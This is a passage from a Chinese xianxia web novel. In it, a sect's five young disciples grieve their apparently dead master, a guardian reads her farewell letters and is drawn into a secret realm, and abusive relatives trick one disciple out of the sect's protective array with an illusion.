不是瞬间的剧痛,而是心脏猝不及防地被一只无形冰冷的大手狠狠攥住,骤然缩紧,闷得无法呼吸。 指节在袖中收紧,捏出一片骇人的白。 脑海中不受控制地闪过纷乱的碎片。 “仙儿,心中之恨,唯有亲手了结,方得痛快;去,杀了她,用她的血,洗刷你过往的委屈。” “阿雾,此剑甚好,快如惊鸿,准若星落,狠似雷霆,当得起剑鸣惊风,为师愿叫它:一剑定乾坤。” “星尘,为师愿你:俯仰无愧天地,行止无愧于心。你要记住,绕的是弯路,避的是陷阱,最终要走的,仍是你自己的道。” 她负手而立,白衣胜雪,风拂动她的衣袂,清冷孤傲地站在山门前; 她抱着苏渺渺讲故事时垂落的温柔眼睫; 她上早课时一本正经胡诌八道、把孩子们唬得一愣一愣时嘴角强压的笑意; 她每每被他招惹烦了,丢过来那嫌弃又无奈的一记白眼; 甚至是在她有事相求时,那故作平静却总在眼底闪烁如星光的狡黠。 还有她离开前,那郑重其事的托付:“孩子们,就交给你了。” 那些他曾觉得寻常的点点滴滴,此刻变得无比清晰,反复冲刷着他的神经。 一切的一切,都在提醒着他,那个鲜活的人,可能真的……不在了。 他喉结艰难地滚动了一下,压下喉头莫名涌上的那股滞涩感。 他一向带笑的桃花眼里,此刻沉寂如深潭,翻涌着复杂难辨的情绪。 他一步步,极其缓慢却坚定地走进昏暗的魂灯殿。 苏渺渺抬起头,小脸哭得皱成一团,睫毛上还挂着沉重的泪珠。 看到虞青焰的瞬间,她像是溺水之人抓住了最后一根浮木,她连滚带爬地扑过去,一把抱住他的腿,哭声凄厉而绝望: “虞叔叔,师尊的灯灭了,你快救救她,你那么厉害,一定有办法把师尊救回来对不对?我要师尊回来,呜呜呜......” 她的哭声又响又急,撕扯着人的心肺。 其他四个孩子也抬起头,一双双红肿的眼睛里蓄满了泪水,却没有再哭出声。 他们望着他,那眼神里有他们自己都不敢相信的希冀。 这个总是吊儿郎当、却强大得不像话的虞叔叔,一定有办法的,对吧? 虞青焰袖中的手指,握得更紧,那缭绕在熄灭魂灯上的最后一线青烟,无声无息地散尽在昏暗的空气里。 他看着脚下哭到崩溃的苏渺渺,再抬眼看向另外四个孩子盈满绝望与最后希冀的目光,桃花眼里某种沉甸甸的东西,彻底沉淀了下来。 他弯腰,轻轻拍了拍苏渺渺的背,然后一步步,走向那盏熄灭的魂灯。 殿内只剩下孩子们压抑的、断断续续的抽泣声。 他伸出手指,轻轻触碰那冰冷的灯盏,甚至捻起一点灯芯的灰烬在指尖摩挲。 他的眼神不再是悲痛,而是变得锐利、专注,充满了审视的意味。 第66章 诀别信,始终爱你们的师尊 “别哭了。”虞青焰的声音带着轻微沙哑。 五个孩子泪眼朦胧地看着眼前这个仿佛变了一个人的虞叔叔。 他脸上惯常的慵懒笑意消失得无影无踪,只剩下一种近乎残酷的冷静,道:“哭能把你们师尊哭回来吗?” 孩子们抽噎着,呆呆地看着他。 虞青焰指着魂灯,声音平稳,“魂灯熄灭,通常意味着魂飞魄散,身死道消。” 孩子们的心随着他的话再次沉入谷底。 “但是......”他话锋一转,目光扫过五个孩子,“灵墟秘境,是上古遗迹,法则混乱,自成一界。” “在那里,天道感应会被极大削弱,甚至短暂隔绝。一盏设在外界的魂灯,因为感应不到秘境内的神魂波动而熄灭……并非不可能。” 孩子们的眼睛里瞬间亮起一丝微光。 “但也别高兴太早。”虞青焰毫不留情地泼上冷水,“这只是最乐观的猜测。更大的可能,是她真的遇到了极大的危险,重伤濒死,以至于神魂微弱到魂灯无法感应……或者,更糟。” “所以,我们现在要做的,不是在这里哭嚎自责,而是搞清楚,她到底是哪一种情况。” 他看向萧星尘,“收起你的废物论,你师尊对你有着极大的期许,你没资格自暴自弃。从现在起,你这个大师兄要守好宗门,稳住师弟师妹,这是你的责任。” 萧星尘浑身一震,泪水在眼眶里打转,却硬是憋了回去。 接着,虞青焰看向鹿闻声和郁仙:“你们在炼器和炼丹一道有极强的天赋,你们的天赋不是让你们用来后悔的,去炼器房和炼丹房该干什么干什么,法器法宝和丹药,总有用得到的时候。” 他们互相看了一眼,彼此红肿的眼睛里虽然还带着悲伤,却更多了一种被强行凝聚起来的、坚定的力量。 鹿闻声攥紧拳头,“是!” 郁仙也用力抹了把脸,“我这就去。” 虞青焰看向江迷雾:“若想保护想要保护的人,你从现在开始就要努力练剑,自暴自弃,只会让关心你的人失望,让你在意的人再次陷入险境。” 江迷雾唇瓣颤抖着,“我明白了。” 最后,虞青焰蹲下身,看着哭得打嗝的苏渺渺。 指尖有些笨拙地擦去她脸颊的泪珠,动作生硬却带着一丝不易察觉的温柔:“你的祝福,或许在秘境里能护她一线生机。从现在起,不停地为她祈福,直到她回来。” 苏渺渺吸了吸鼻子,重重点头:“渺渺……渺渺知道了。” 五个孩子擦干眼泪,转身朝着殿外走去。 萧星尘刚走出两步,突然停下:“对了!师尊进秘境前,给过我一个锦囊。” 他从储物袋里掏出锦囊,就要打开,“师尊说……” “等等。”虞青焰突然出手,快如闪电地抢过锦囊。 他捏着锦囊,指尖微沉,里面是厚厚的一叠纸,“你师尊说,一个月后她若没回来,你才能打开。今天才第一天,这锦囊……我先替你收着。” 话音未落,锦囊已消失在他掌心。 这一刻,虞青焰几乎能猜到那里面装着的是什么。 那女人……怕是早就料到自己可能回不来,留下了最后的嘱托。 他才刚把这些小哭包稳住,若是让他们此刻看到那些几乎是遗言的话语,怕是天都要哭塌了。 孩子们看着他,眼神里有些不解,但出于对虞青焰此刻威严的信任,并没有反驳。 他们眼神坚定,按照虞青焰的吩咐,各自去做该做的事。 虞青焰离开魂灯殿前,深深看了云见月的魂灯一眼,随后回到了玄天宗最东侧的寝殿。 那曾是云见月的闺房,自他来的第一天,就被他理直气壮地抢了过来。 往日里,他最爱斜倚在窗边的摇椅上,晒着太阳,品着香茗,看孩子们嬉闹,顺便嘲笑云见月“不懂享受”。 可如今,满室的精致都透着落寞。 虞青焰坐在摇椅上,指尖摩挲着锦囊,最终还是拆开了,从里面抽出了一叠厚厚的信纸。 足足五张,每一张都写满了密密麻麻的字。 他的目光落在了第一张信纸上,是写给萧星尘的。 “星辰: 等你看到这封信时,为师大概已经不在了。 很抱歉,没能做到答应你的事,没能为你找到最适合的体修功法,没能看着你真正踏上修行之路。 每每看你因无法修炼而沉默自责,为师心中亦痛。 为师还是希望你莫要妄自菲薄,星辰,你在为师眼中,善良、坚韧、重情重义、勇于担当,心地如赤子般纯良。 那些萧家人的讥嘲笑骂,不过是井蛙之鸣,何须挂怀? 你要记住,你不是没有家,玄天宗就是你的家,闻声、仙儿、阿雾、渺渺,便是你最亲最近的家人,你们要互相扶持的走下去。 还有,你不能修炼,不是因为你悟性差,是你的灵根被人下了封印。 为师无用,解不开这道封印,只能盼你日后得遇大造化。 还记得为师说过的话吗?不要自暴自弃。 你首先要在意的不是别人的眼光,而是你自己,做事无愧于天地,更无愧于自己。 现在不行,不代表以后也不行。 厚土载物,沉稳坚韧,你的路或许比别人更曲折,但注定会更坚实。 一定要记住,不可争一日之短长,木秀于林风必摧之,懂得暂时的弯曲与退让,是为了更好地保全自身,积蓄力量,等待真正的新生。 为师虽不能时刻陪在你身边,但会在天上看着你。 看着我们星辰长成能撑起一片天的男子汉。 ——永远惦记你的师尊。” 虞青焰看着这满满一页纸的字迹,仿佛能看到云见月写下它们时微蹙的眉头和眼中的温柔与不舍。 这哪里是师尊,这分明是一位母亲在生命尽头对孩子最后的、呕心沥血的嘱托。 他捏着信纸的手指,无意识地收紧,将纸张边缘捏得微微发皱。 他闭上眼,喉结剧烈地滚动了一下,似乎想将胸腔里那股陌生的、酸涩的情绪强行压下去。 再睁开时,眼底一片深沉的晦暗。 他缓缓翻开了第二页。 “闻声: 我的炼器小天才,看到这封信,是不是又偷偷掉金豆豆了? 不许哭,师尊不喜欢看小哭包。 闻声,你是为师见过的最有灵性的炼器师,一点就透,敢想敢做,你的双手仿佛天生就是为了创造而生。 你真的很棒! 你要相信自己,你的未来绝不止于此。 宝器、灵器、道器,甚至仙器和神器,只要你敢想,并愿意为之付出努力和汗水,师尊相信,总有一天你能将它们一一实现。 不要因为暂时的失败而气馁,炼器之道,本就是千锤百炼。 多思考,多尝试。 记住,最顶尖的炼器师,炼的不是铁石,不是灵材,是心!是自己的‘道’! 帮师尊照顾好师弟师妹们,记得按时吃饭,别一钻进炼器室就忘了时辰,你还在长身体呢。 未来玄天宗的炼器大师,师尊可是等着看你名震大陆的那一天呢。 就算师尊不在了,也会化作星辰,为你每一次的成功而闪耀。 ——盼你成为炼器大师的师尊。” 虞青焰几乎能想象出鹿闻声看到这封信时,该哭成什么样。 那女人最会哄孩子了。 他嘴角似乎想扯出一个惯常的讥诮弧度,却发现有些无力。 他深吸一口气,继续往下看。 “仙儿: 我亲爱的千金大小姐。 不管郁家人如何看待你,你在为师心中就是最最好的,值得为师付出所有去疼爱的掌上明珠。 为师好想每天把你打扮的漂漂亮亮的,看着你吃饭香香的,每天开开心心的样子。 为师曾答应你每年都亲手为你做生日蛋糕,陪你庆生,可为师却食言了。 请不要怪为师,也不要难过。 为师最大的心愿就是你开心快乐。 仙儿,你心思细腻敏感,却又无比坚韧。 药仙谷的过往不是你的枷锁,而是你变得更强大的阶梯。 你记住,你是玄天宗的弟子,是我云见月的徒儿,不比任何人差。 你在丹道上的天赋极高,对药性有着超凡的感知力,不要急躁,丹道一途,在于沉淀和感悟。 不要总把责任往自己身上揽,别人不喜欢你,那一定是别人的错。 你已经做得很好了,要相信自己,更要相信你的同门。 别忘了,玄天宗永远是你的后盾。 仙儿,要快乐,要自信。 师尊最喜欢看你炼丹成功时,那双亮晶晶的眼睛了。 ——永远爱你的师尊。” 虞青焰展开了第四封信。 “阿雾: 看到这封信,是不是又板着小脸,在心里怪自己不够强了? 为师说过,你是天生的剑骨,未来可期。 不要怀疑你的剑,更不要怀疑你自己。 天生剑骨,万中无一,你的路在剑尖之上,在广阔天地之间,而不在于一时一地的得失与守护。 师尊不在,你就是宗门最锋利的剑。 守护好这个家,守护好师兄师姐和小师妹。 修行不可懈怠,但亦不可急躁。 剑道在于诚,诚于剑,诚于心。 你的心有多广,你的剑就能有多利。 不开心了,多和师兄师姐们交流。 你不是孤单一人,我们都在。 等你能一剑泯恩仇时,就去山巅舞一次剑。 风会把你的剑意带给为师,为师一定能看见。 ——为你骄傲的师尊。” 最后一封是给苏渺渺的,字写得格外大,像怕她看不清: “渺渺小福星: 不要哭,不要害怕。 师尊只是去天上当星星了,还能天天看着渺渺。 你的祝福最灵验了,为师在天上,一直都感觉暖暖的呢。 想师尊了,就看看天上的星星,最亮的那一颗就是师尊在看着你。 你要代替师尊,多笑笑,多吃饭,好好睡觉,用你的笑容和祝福,保护好这个家,保护好师兄师姐。 你的快乐,就是对我们最好的祝福。 等渺渺长大了,记得给天上的师尊也送个祝福呀。 ——最爱渺渺的师尊。” 五封信看完,虞青焰久久没有动弹。 信纸被他捏得发皱,指尖的力道几乎要将纸页戳穿。 他仰起头,望着窗外的天空,下颌线绷得紧紧的,良久,才极轻地吐出一口气,那气息里都带着沉甸甸的重量。 “麻烦......”他低声不耐烦道,声音却带着不易察觉的哽咽,“谁要你写这些东西?多此一举……” 他仿佛看到云见月写这些信时的样子,定是夜深人静时,对着昏黄的烛火,一笔一划地把所有牵挂都写进去,生怕漏了一个字。 他站起身,将信纸小心翼翼地折好,放回锦囊,贴身收好。 “云见月。”他对着空气低语,“写了这么多,你怎么就想不起也给我......” 话到一半,又被他咽了下去,转而变得咬牙切齿。 “你最好还活着。” “不然……” “这破宗门,我才不管。” 第67章 秘境开启一天就关闭,虞青焰被神秘力量吸入 虞青焰从寝殿走出时,夕阳刚坠入玄天宗的山巅。 他没有去找孩子们,而是出现在了青璃的住处。 “我要去一趟灵墟秘境。”他语气平淡,“在此期间,玄天宗封山,开启护宗大阵的全部禁制,非你或我亲自归来,任何人不得出入,擅闯者,杀。” 他将一枚通体莹白的玉珏递给青璃,那是控制护宗大阵的核心。 青璃捏紧了玉珏,问道:“你要多久回来?” “归期不定。”虞青焰答得干脆。 青璃沉吟片刻,又问:“那长春堂,我还要不要继续开下去?” 虞青焰望着山门外的云海,沉默片刻,道:“长春堂是她的心血,更是孩子们日后修炼的保障。就算她真的回不来了,有灵石在总是好的。” “一切照旧,若有不开眼的生事,你知道该怎么做。” 交代完毕,虞青焰化作一道五彩斑斓的光虹,朝着灵墟秘境的方向疾驰而去。 目的地——坠龙渊。 传闻此地乃上古神魔战场,有巨龙陨落,其不甘的怨气交织,形成了这处绝地,灵墟秘境的入口便在此,那块刻满上古符文的巨石,便是秘境开启的标志。 今日的坠龙渊,透着一股令人心悸的诡异。 不过半日功夫,这里已彻底变了模样。 大地像被巨力搅动,剧烈震颤着,那块矗立了万载的巨大镇界石碑,此刻上面的符文金光剧烈闪烁,明灭不定。 再看天空,原本灵墟秘境入口所在的那片区域,空间发生了可怕的扭曲,呈现出光怪陆离的破碎感。 虞青焰悬停在空中,剑眉微蹙。 不仅是他,所有闻讯赶来或原本就在附近的修士,都无人敢落在剧烈震动的地面上,纷纷滞空,皆是一脸惊骇地望着这如同末日般的景象。 “早上来的时候还好好的,不过六个时辰,怎么就变成这样了?” “到底发生了什么?灵墟秘境存在数万载,从未有过此等异象。” “这天地之威,绝非寻常,太诡异了。” “何止诡异,这已经是第三次震动了。”有那一直守在此地未曾离开的修士高声喊道,“而且一次比一次剧烈。” “秘境里到底发生了什么?难道是上古禁制破了?” 众人七嘴八舌,惊疑不定的话语在空中交织,却无人能说出个所以然。 虞青焰目光沉凝地扫过扭曲的天空和震颤的大地。 这里绝不会无缘无故变成这样,秘境里定是发生了足以颠覆整个秘境格局的大事。 就在众人百思不得其解之际,异变再生。 那扭曲的秘境入口处,猛地爆发出一阵强烈的空间波动,紧接着,如同喷吐异物般,一道道身影被胡乱地抛射出来。 场面一片混乱。 被丢出来的修士们个个狼狈不堪,脸上写满了茫然,显然还没明白发生了何事。 而外面的人则看得目瞪口呆,惊呼连连。 “这才第一天,秘境怎么就把人扔出来了?” “怎么回事?里面到底怎么了?” 修士们彻底炸了锅,震惊得说不出话来。 灵墟秘境开启至少会持续一个月,从未有过第一天就“清场”的先例。 就在众人惊疑不定时,又一道身影被狠狠抛出。 这人比先前所有人都要凄惨无数倍。 他全身焦黑,双臂齐根而断,身上衣物早已化为破布,勉强挂在身上,暴露出的皮肤几乎没有一寸完好,血肉模糊,气息微弱到了极点。 有人认出来,倒吸一口凉气:“是......是青云剑宗的楚凌风!” 就在楚凌风被抛出的同一时刻,坠龙渊上空,紫黑色的劫云凭空凝聚,遮天蔽日,宛如黑夜降临。 劫云之中,恐怖的雷龙疯狂窜动,酝酿着毁天灭地的气息。 炼虚境的威压如同实质的泰山,狠狠压在每个修士心头。 “是炼虚雷劫。”有人失声尖叫,“快逃!被波及就完了!” 化神期修士在炼虚雷劫面前,与蝼蚁无异。 刹那间,悬在空中的修士们作鸟兽散,争先恐后地逃离,生怕晚上一步便被那可怕的雷劫波及,落得个身死道消的下场。 方才还人头攒动的地方,转瞬间,变得空空荡荡。 唯有虞青焰,依旧悬停在原地,对那足以碾碎化神期的威压视若无睹。 他的目光落在楚凌风身上,眼底没有丝毫波澜。 这就是云见月曾经痴迷的对象?看起来,也不怎么样。 就在这时,大地的震动突然减弱,那块刻满符文的镇界石碑,原本忽明忽暗的金光竟开始褪去,取而代之的是一种诡异的血红,仿佛在“吸食”着鲜血。 虞青焰身影一晃,落于石碑旁。 他抬手,指尖触摸那暗红的符文,触感竟是灼热无比,仿佛正在进行一场古老而邪异的祭祀。 他眉头紧锁,就在刚才触碰石碑的瞬间,他分明感受到了一丝极其微弱、却无比熟悉的气息。 “她还在里面?”虞青焰喃喃自语,心中疑窦丛生。 为什么别人都被抛了出来,唯独她没出来?若她真的死了,这石碑上为何会有她的气息? 天空之上,楚凌风的惨叫响彻云霄。 最后一道天雷凝聚着毁天灭地的力量,狠狠劈下。 他本就身受重伤,此刻更是摇摇欲坠,眼看就要被天雷劈得魂飞魄散。 “风儿!”几道身影疾驰而来,为首的正是青云剑宗宗主,楚凌风的爹。 他见状大惊,赶忙掏出一枚丹药塞进楚凌风嘴里,同时祭出本命剑,硬生生替楚凌风挡下了最后一道天雷。 雷劫散去,楚凌风浑身一软,彻底昏死过去,气息微弱极了,但眉心处的灵力波动,却已踏入炼虚境。 青云剑宗众人不敢耽搁,抱起楚凌风,迅速消失在天际。 天地间,再次恢复平静,却透着一股死寂的诡异。 虞青焰没有离开,他守在石碑旁,看着大地反复震动,看着石碑上的符文从血红褪回金光,又从金光染成血红,周而复始。 时间一点点流逝,从天亮到天黑,又从天黑到天亮。 三天三夜过去,石碑上的符文总共经历了七七四十九次变色。 当第四十九次血色蔓延时,那些符文再也没有褪去,彻底定格成了鲜血般的红。 石碑上属于云见月的气息,也变得越来越微弱,几乎要消散不见。 虞青焰指尖划过那些滚烫的红色符文,喉结滚动了一下,低声唤道:“云见月......” 话音未落,石碑突然爆发出刺眼的红光。 一股无法抗拒的吸力从石碑中传来,虞青焰只觉得眼前一黑,身体竟不受控制地被那红光吞噬。 红光散去,虞青焰和镇界石碑消失在原地。 就在虞青焰于坠龙渊面临巨变之时,远在玄天宗的青璃,也正被琐事缠身。 这三天的长春堂,总透着一股低气压。 青璃心不在焉地售完当日份额的丹药后,便立刻关门,一刻也不多留地返回玄天宗。 宗门内低迷的气氛和孩子们强忍悲恸的模样,让她都提不起兴致。 偏偏在这时,郁长林的女儿郁姝,每日变着法子地纠缠她。 今日装傻充愣,明日嘘寒问暖,种种刻意卖弄的痴憨姿态,只让青璃觉得聒噪又可笑。 她始终冷着一张脸,连眼皮都懒得掀一下。 直到这天,郁姝手里举着两串红彤彤的糖葫芦,蹦跳着凑到柜台前,扬起一张自认为甜美无害的小脸,声音刻意放得又软又糯:“漂亮姐姐,姝儿给你带了糖葫芦,可甜可好吃了呢!喏,这串给你!” 青璃的目光透过轻纱落在那串糖葫芦上,微微一顿。 五个小家伙强撑着做事的小身影在她眼前晃过…… 或许……一串糖葫芦能让他们开心点? 这个念头一起,便再也压不下去。 她看也没看郁姝,毫不客气地抬手一指门外:“出去。” “什……”郁姝还没反应过来,就见青璃一挥袖,一道灵力袭来,直接将郁姝丢了出去。 随即青璃“啪”地合上门,落锁,动作一气呵成。 郁姝举着糖葫芦,呆呆地站在紧闭的店门外,脸上的笑容彻底冻僵了。 整整三天,她放下身段,使出浑身解数来讨好这个女人,结果对方一直拉拉个脸,一次好脸色都没给过。 她那些百试百灵讨人喜欢的招数,在这个女人面前竟全然无效。 不过是个给人看铺子的臭掌柜,居然敢如此给她脸色看。 要不是爹爹千叮万嘱,绝不能得罪长春堂的人,她早就…… 压抑了三天的怒火、委屈和骄纵脾气在这一刻猛地窜了上来,她也顾不得装什么天真可爱了,用近乎训斥下人的口吻尖声道:“我在跟你说话,你聋了吗?” 青璃的脚步顿住了。 她缓缓地转过身。 轻纱覆眼,旁人看不见她的目光,但郁姝却清晰地感觉到,两道阴冷得如同毒蛇信子般的视线,实质般地钉在了自己身上。 郁姝吓得浑身一哆嗦,手里的两串糖葫芦“啪嗒”一声掉在地上。 “滚——” 一个字,冰冷刺骨。 郁姝脸色煞白,转身,一头冲进了挂着“长春堂·一号分店”招牌的店铺里。 “爹爹,呜呜呜……”她扑进郁长林怀里,哭诉,“我再也不要去讨好那个臭掌柜了,她每天都对我冷着脸,刚才还让我滚,呜呜呜……” 郁长林看着宝贝女儿哭得上气不接下气,脸色变得极其难看。 若是放在以往,谁欺辱他的女儿,他早就让对方付出代价了。 可如今…… 想到紫金元婴丹,想到儿子破碎的丹田,想到药仙阁如今已是别人的分号...... 所有的怒火都被现实硬生生压了下去。 “姝儿乖,不哭不哭,许是青璃掌柜今日心情不佳。爹爹去找她说说,你就在店里乖乖等着,千万别再出去了。” 安抚好女儿,郁长林走出店铺,恰好看到青璃从一个小贩手里接过五串红艳艳的糖葫芦,仔细收入储物袋。 她身形一闪,便御空而起。 郁长林犹豫了一瞬,一咬牙,也悄然腾空,隐匿着气息,远远跟了上去。 这青璃一直神出鬼没,他到要看看她究竟住在哪。 若能知晓她的住处,或许就能见到三小姐了,届时直接去讨好三小姐,也好过让姝儿日日去碰钉子。 第68章 骂我可以,但我不许你们骂我视若神明的师尊 飞至半途,前方的青璃敏锐的察觉到了什么。 她眸光一冷,唇角勾起一抹混合着不耐与冰寒的弧度,飞行的方向骤然一转,朝着远离玄天宗的荒僻地界飞去,最后一头扎进了一片茂密的古林。 跟在后面的郁长林心中疑惑,“她来这荒郊野岭作什么?” 但眼看目标消失,他也顾不得多想,连忙跟着落入林中。 林深叶茂,光线昏暗,四周寂静得只剩下风吹过树叶的沙沙声。 郁长林收敛气息,小心翼翼地前行,四处搜寻着青璃的踪迹。 然而,他找了一圈,连个人影都没看到。 “奇怪,人呢?” 正当他心生不耐之际,身旁一丛巨大的灌木猛地晃动起来。 下一刻,一颗硕大无比的青色蛇头猛地从灌木后探出,冰冷的金色竖瞳死死锁定了他。 那巨蛇身躯庞大,散发出的妖力波动赫然达到了元婴期。 “元婴大妖!”郁长林吓得魂飞魄散,转身就想跑,可巨蛇的速度比他快得多,瞬间拦住了去路。 他慌不择路地大喊:“青璃掌柜!救命啊——!!!” 然而,回应他的,只有青色巨蛇那双冰冷竖瞳中一闪而过的讥诮。 巨蛇张开血盆大口,猛地喷出一股炽热无比的烈焰。 霎时间,林中烈焰纷飞,草木瞬间被点燃,化作一片火海。 这还没完。 巨蛇周身青光一闪,无数道锋利如实质的风刃凭空出现,在狂风的裹挟下,如同无数把旋转的利刀,卷入火海之中。 风助火势,火借风威! 原本就凶猛的火势瞬间暴涨数倍,化作一道连接天地的烈焰龙卷,将郁长林彻底困在中心。 “啊——”郁长林发出一连串凄厉的惨叫。 他拼命撑起灵力护罩,但那风刃极其锋利,不断切割削弱他的防御,而熊熊烈焰则无孔不入地灼烧着他的身体。 他的衣袍瞬间化为飞灰,皮肤被烤得焦黑开裂,头发眉毛皆被燎光,整个人如同掉进炼狱的火人,在火海中痛苦地翻滚、挣扎,惨叫求饶声不绝于耳。 青璃并没想要他的命。 见他已被教训得差不多了,青光再次一闪,林中那恐怖的青色巨蛇消失不见。 她重新化为人形,冷漠地瞥了一眼在火海中哀嚎打滚的身影,身形一动,便悄无声息地消失在原地,径直朝着玄天宗的方向飞去。 郁长林在烈焰中,狼狈万分地挣扎了许久,才终于拖着重伤焦黑、几乎不成人形的身躯,奄奄一息地逃回了药仙谷。 与此同时,玄天宗内却是另一番景象。 阳光将玄天宗染成暖金色。 青璃从储物袋里掏出五串糖葫芦,红艳艳的果粒裹着晶莹的糖衣,在余晖下闪着光。 “给。”她把糖葫芦递给孩子们,声音依旧淡淡的,却带着一丝不易察觉的期待。 孩子们在接过冰糖葫芦那一瞬间,不由得想到了师尊第一次带着他们逛坊市的画面。 那日,阳光明媚,师尊大手一挥,声音清越又豪气:“你们有想要的、想吃的,只要合理,师尊都满足。” “想吃糖葫芦?老板,来五串最大的!” “嗯,很甜。但不及渺渺的笑容甜,师尊最喜欢看渺渺笑了,渺渺一笑,为师甜到了心里。” 孩子们嘴里吃着糖葫芦,却再也吃不出甜味,酸的他们眼泪溢出。 坊市的喧嚣、师尊掌心的温度、糖葫芦在舌尖化开的味道,如今都成了扎在心口的刺。 这些天强撑的镇定,彻底崩塌。 “青璃姐姐,我想师尊……” “我不要糖葫芦,我只要师尊回来……” “我要师尊……” 顿时,哭声连成一片,在庭院里弥漫开,带着令人心碎的绝望。 青璃僵在原地,她是蛇妖,天生冷血,看着他们哭得撕心裂肺,一时竟不知如何是好。 可看着孩子们通红的眼睛,听着那一声声带着血的“师尊”,她的眼眶竟也莫名发热。 抬手去擦,指尖触及一片濡湿。 原来,冷血的蛇,也会为在意的人流泪。 …… 接下来的三天,玄天宗内外陷入一种死寂的平静。 孩子们依旧按部就班地做事,只是话更少了,眼底的光也更暗了。 他们默契地绝口不提“魂灯”,不提“秘境”,只用近乎自虐的忙碌,麻木地掩饰着心底巨大的惶恐和无助。 青璃每日进出,都会仔细检查护山大阵,生怕出一点纰漏。 药仙谷。 郁长林在大量丹药的滋养下,一身被烈火烧灼的恐怖伤痕终于褪去。 但皮肉之苦可愈,积压在心头的屈辱和怒火却愈烧愈旺,几乎将他理智焚尽。 他不敢怨恨青璃,更不敢怨恨长春堂和三小姐,便将所有蚀骨的不顺和憋屈,都疯狂地倾泻到一个人身上。 那个人就是他最恨的郁仙。 “都怪那个小杂种!”郁长林面目扭曲,“要不是她,明轩怎会丹田破碎,我又何须去求那萧老爷子,平白受尽羞辱。若不是这一连串的倒霉事,我药仙谷何至于沦落到仰人鼻息,连我都要被一个掌柜作践。” 他越想越觉得如此,所有厄运的源头都指向郁仙。 他现在只想立刻将郁仙抓回来,让她跪在祠堂前,用最狠的家法折磨她,听着她的哀嚎来平息自己心头的邪火。 可玄天宗那该死的护山大阵,坚固得令人绝望。 就在他焦躁暴怒,几乎要不顾一切时,郁姝兴冲冲地跑了进来,脸上带着压不住的兴奋:“爹爹,天大的好消息,我师尊他突破炼虚境了。” 郁长林瞳孔骤然一缩:“炼虚境?真的?” “千真万确!”郁姝笑得得意,“而且师尊亲口说,他在秘境里,把云见月给杀了,现在云见月的徒弟们,怕是正对着他们师尊熄灭的魂灯,哭得肝肠寸断呢。” 郁长林闻言,爆发出畅快的大笑:“哈哈哈——好!死得好!云见月啊云见月,任你嚣张狂妄,最终也不过是个短命鬼,报应!这就是报应啊!” 笑着笑着,一个恶毒至极的计划在他脑中迅速成型。 云见月死了,玄天宗最大的靠山没了,那个小杂种郁仙,不是最敬重、最维护她那个死鬼师尊吗?此刻必定心神俱伤,正是最脆弱、最好下手的时候。 这天清晨,青璃照例准备出门。 出门前,特意将五个孩子叫到面前,语气严肃:“我出去后,无论听到什么、看到什么,都不准踏出护山大阵半步,记住了吗?” 孩子们乖巧点头:“记住了。” 青璃走后不到一炷香,三道身影便出现在玄天宗山门外,正是郁长林、柳静怡和郁姝。 三人站在玄天宗山门前,就看到郁仙一个人坐在树下的石凳上发呆。 郁仙愣愣的看着面前石桌上摆放的茶具。 师尊在时,最喜欢坐在这里煮茶,而虞叔叔则是躺在摇椅上,扇着折扇陪着师尊闲聊。 彼时,他们五就在一旁嬉笑打闹。 原以为,那样平淡温馨的日子,可以一直一直持续下去。 可如今,却只能在回忆里看到了。 郁仙的眼泪又一次控制不住掉下来,这次她没有嚎啕大哭,只是默默流泪。 山门外,郁长林运足灵力,声音刻薄尖厉的怒骂,“郁仙,你这个忘恩负义心肠歹毒的白眼狼,给我滚出来。” 柳静怡如同死了全家般,哭闹:“我可怜的明轩啊!我当初真是瞎了眼,才把郁仙你这个扫把星接回来,好吃好喝供着你,锦衣玉食养着你,哪一点对不起你?你竟如此狠毒,害得你哥哥丹田破碎,成了废人,你的良心被狗吃了吗?” 郁姝假惺惺地劝:“妹妹,你糊涂啊!快出来给爹娘磕头认错吧,只要你诚心悔过,爹爹娘亲宽宏大量,定会原谅你的……” 青璃离开前,早就开启了护山大阵的全部禁制,其中就包括隔音功能。 不管郁长林和柳静怡如何喊叫,护山大阵内的人都听不到。 就算听到了,郁仙也谨记青璃的话,是绝对不会理会他们的。 见骂不动她,郁长林话锋陡然一转,“怎么?缩在你这乌龟壳里不敢出来了?也是,跟你那短命鬼师尊一个德行,云见月就是个狂妄自大、眼高于顶的蠢货,活该她死在秘境里,尸骨无存。” “就是!装得一副清高样,背地里还不知道是个什么破烂货色,肯定是她自己行为不端,才招了天谴。死得好!死得妙!听说死状极惨,被秘境里的妖兽撕扯得七零八落,连块整肉都没剩下,真是老天开眼,哈哈哈——” 污言秽语,一句比一句不堪入耳,如同毒液般从他们嘴里不断喷出。 郁仙仍旧没有任何反应。 她这副不理不睬,好像完全没有听到的样子,气的郁长林面色越发的狰狞扭曲。 他的眼中闪过一丝极度的不耐烦和阴鸷。 也不准备继续和郁仙废话,直接从储物袋中掏出一块刻满诡异符文的石头。 此石名为幻影石,能根据持有者的意愿,结合目标的执念制造幻境。 “小杂种,你不是最惦记你那个死鬼师尊吗?”他低低冷笑一声,灵力疯狂注入其中,“老子就发发善心,让你再见她最后一面。” 幻影石骤然爆发出迷蒙柔和的光芒,穿透大阵光幕,在郁仙面前凝聚出一道熟悉的身影。 白衣胜雪,青丝如瀑,身影纤细挺拔,正带着郁仙记忆中那般温柔的笑意,静静地看着她。 “仙儿。”那道身影开口,声音和云见月一模一样,“为师回来了。” 第69章 郁明轩要求,挖郁仙心头血来喝 郁仙似有所感般回眸。 就看到了日思夜想的那道身影站在山门前。 她猛地僵住,眼中的赤红被巨大的震惊和不敢置信取代,随即,是铺天盖地的狂喜。 “师……尊?” 她看到师尊的衣角被清风拂动,看到师尊手中似乎还拿着她最爱吃的糖人,看到师尊朝她伸出手,声音温柔极了。 “仙儿,不哭,为师没事。” 她听不到师尊说的话,可却看懂了她的意思。 是师尊! 真的是师尊! 师尊没有死! 她回来了!!! 所有的痛苦尽数一扫而空,青璃的叮嘱在这一刻全被这巨大的、失而复得的狂喜冲得粉碎。 她脑子里只剩下一个念头,扑过去,抱住师尊,再也不松开。 “师尊!”她发出一声泣血般的、夹杂着无尽委屈和思念的呼喊,本能地朝着那个身影疯狂地冲了过去,瞬间穿过了护山大阵的光幕。 她张开双臂,用尽全身力气,狠狠地扑过去,紧紧抱住了那个“日思夜想”的人。 眼泪决堤,声音破碎:“师尊你回来了,你终于回来了,仙儿好想你,好想好想你……” 她将脸深深埋入那熟悉的怀抱,哭得浑身颤抖,完全没有察觉到周围的景象在她扑出来的刹那发生了诡异的扭曲。 温暖的怀抱变得冰冷而僵硬,触手的不再是柔软素白的衣料,而是带着繁复刺绣、一身脂粉味的锦缎。 